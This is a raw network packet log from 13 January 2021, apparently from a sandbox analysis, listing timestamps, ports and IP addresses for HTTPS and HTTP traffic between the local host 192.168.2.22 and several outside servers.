Jan 13, 2021 13:44:56.861985922 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.861991882 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.862027884 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862081051 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862086058 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.862238884 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862298012 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862307072 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.862339973 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862369061 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862406015 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862425089 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.862442017 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862487078 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.862488031 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862528086 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862564087 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862601042 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862615108 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.862637043 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862672091 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.862720013 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.863131046 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.863212109 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.863270044 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.863317013 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.863322020 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.863357067 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.863393068 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.863430023 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.863444090 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.863466024 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.863519907 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.864011049 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864073992 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864111900 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864136934 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.864147902 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864183903 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864219904 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864237070 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.864264011 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864301920 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864351988 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.864892006 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864940882 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.864979029 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865012884 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865027905 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.865050077 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865086079 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865130901 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.865130901 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865173101 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865803003 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865860939 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.865873098 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865910053 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865947008 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865982056 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.865998983 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.866029978 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866071939 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866107941 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866121054 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.866698980 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866744041 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866769075 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866777897 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.866811991 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866822004 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.866836071 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866856098 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866875887 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866894007 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.866902113 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.867003918 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.867578030 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.867619038 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.867655039 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.867691994 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.867717981 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.867727041 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.867774010 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.867814064 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.867841005 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.867849112 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868448973 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868513107 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868515015 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.868556023 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868594885 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868633986 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868643045 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.868674040 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868711948 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868747950 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.868763924 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.869283915 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.869324923 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.869381905 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.869596004 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.869645119 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.869692087 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.869729042 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.869745970 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.869767904 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.869803905 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.869818926 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.870260000 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.870299101 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.870348930 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.870385885 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.870385885 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.870454073 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.870487928 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.870493889 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.870553017 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.870584011 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.870599985 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.870794058 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.871166945 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.871206999 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.871242046 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.871263027 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.871279955 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.871315956 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.871361971 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.871366978 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.871402979 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.871438980 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.871489048 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.872033119 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872072935 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872108936 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872143984 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872162104 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.872179985 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872216940 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872263908 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872266054 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.872304916 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872765064 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.872925043 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.872977018 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873013973 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873050928 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873068094 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.873106956 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873152018 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873193979 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.873219013 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873266935 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873733044 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873785019 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.873807907 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873833895 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873857021 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873882055 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873899937 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.873905897 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873936892 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.873948097 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.873964071 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874006033 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.874736071 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874813080 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874840021 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874865055 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874881983 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.874887943 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874913931 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.874922991 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874955893 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874982119 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.874999046 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.875034094 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.908340931 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.908389091 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.908421040 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.908448935 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.908472061 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:56.908474922 CET	443	49193	172.67.219.133	192.168.2.22
Jan 13, 2021 13:44:56.908530951 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:57.110228062 CET	49193	443	192.168.2.22	172.67.219.133
Jan 13, 2021 13:44:57.173501968 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.174968004 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.221779108 CET	443	49192	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.221927881 CET	49192	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.222735882 CET	443	49195	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.226044893 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.265688896 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.313635111 CET	443	49195	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.313766956 CET	443	49195	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.313888073 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.318089008 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.371982098 CET	443	49195	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.495592117 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.543493986 CET	443	49195	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.545274019 CET	443	49195	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.545290947 CET	443	49195	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.545300961 CET	443	49195	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:57.545403004 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:57.545442104 CET	49195	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:58.828772068 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:58.951095104 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:44:58.951555014 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:58.951586962 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.074533939 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:44:59.074958086 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.209170103 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:44:59.419222116 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.486521959 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.609003067 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:44:59.609570980 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.739639044 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:44:59.815963984 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.851435900 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.938215971 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:44:59.947058916 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.973154068 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:44:59.973370075 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:44:59.973675013 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.075582981 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.095396042 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.096884012 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.189289093 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.227030039 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.314462900 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.318206072 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.433510065 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.453552008 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.530474901 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.653135061 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.653510094 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.655978918 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.781065941 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.781574965 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:00.786899090 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.912853003 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:00.996253014 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:01.049076080 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:01.152360916 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:01.171358109 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:01.269292116 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:01.401803017 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:01.534459114 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:01.657144070 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:01.658987045 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:01.791830063 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:01.993590117 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:01.999212027 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:02.121244907 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:02.131926060 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:02.262056112 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:02.309396029 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:02.431840897 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:02.432267904 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:02.486589909 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:02.561350107 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:02.773190975 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:02.896239996 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:02.897089005 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.030250072 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:03.244134903 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.275532007 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.291101933 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:03.339241028 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:03.339708090 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:03.397965908 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:03.398252964 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.414623022 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:03.462559938 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:03.462723017 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:03.462762117 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:03.462795019 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:03.462819099 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:03.462928057 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:03.463845968 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:03.474380970 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:03.478585005 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.479295015 CET	49201	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.522525072 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:03.522727013 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:03.527234077 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:03.600905895 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:03.600938082 CET	80	49198	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:03.600965977 CET	80	49201	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:03.601043940 CET	49198	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.601314068 CET	49201	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.601350069 CET	49201	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.724831104 CET	80	49201	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:03.726277113 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:03.928080082 CET	49201	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:04.240180016 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:04.295093060 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.012630939 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.012681007 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.012718916 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.012753963 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.012787104 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:05.012790918 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.012833118 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:05.013715982 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:05.018716097 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.018807888 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:05.019577980 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.019659042 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.019721031 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:05.023044109 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:05.023114920 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.151932001 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.163906097 CET	49204	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.199938059 CET	443	49200	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.200030088 CET	49200	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.211894035 CET	443	49204	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.212058067 CET	49204	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.230887890 CET	49204	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.278850079 CET	443	49204	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.280498028 CET	443	49204	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.280735970 CET	49204	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.416522026 CET	49204	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.470240116 CET	443	49204	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.572630882 CET	49204	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:06.620735884 CET	443	49204	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.622652054 CET	443	49204	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.622673035 CET	443	49204	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.622684002 CET	443	49204	108.177.127.132	192.168.2.22
Jan 13, 2021 13:45:06.623141050 CET	49204	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:09.028460979 CET	80	49197	64.188.18.218	192.168.2.22
Jan 13, 2021 13:45:09.028518915 CET	49197	80	192.168.2.22	64.188.18.218
Jan 13, 2021 13:45:13.218696117 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:45:13.218858957 CET	49167	80	192.168.2.22	67.199.248.16
Jan 13, 2021 13:45:16.695698023 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:16.741702080 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:16.741822004 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:16.744330883 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:16.790267944 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:16.794476032 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:16.794524908 CET	443	49206	104.18.49.20	192.168.2.22
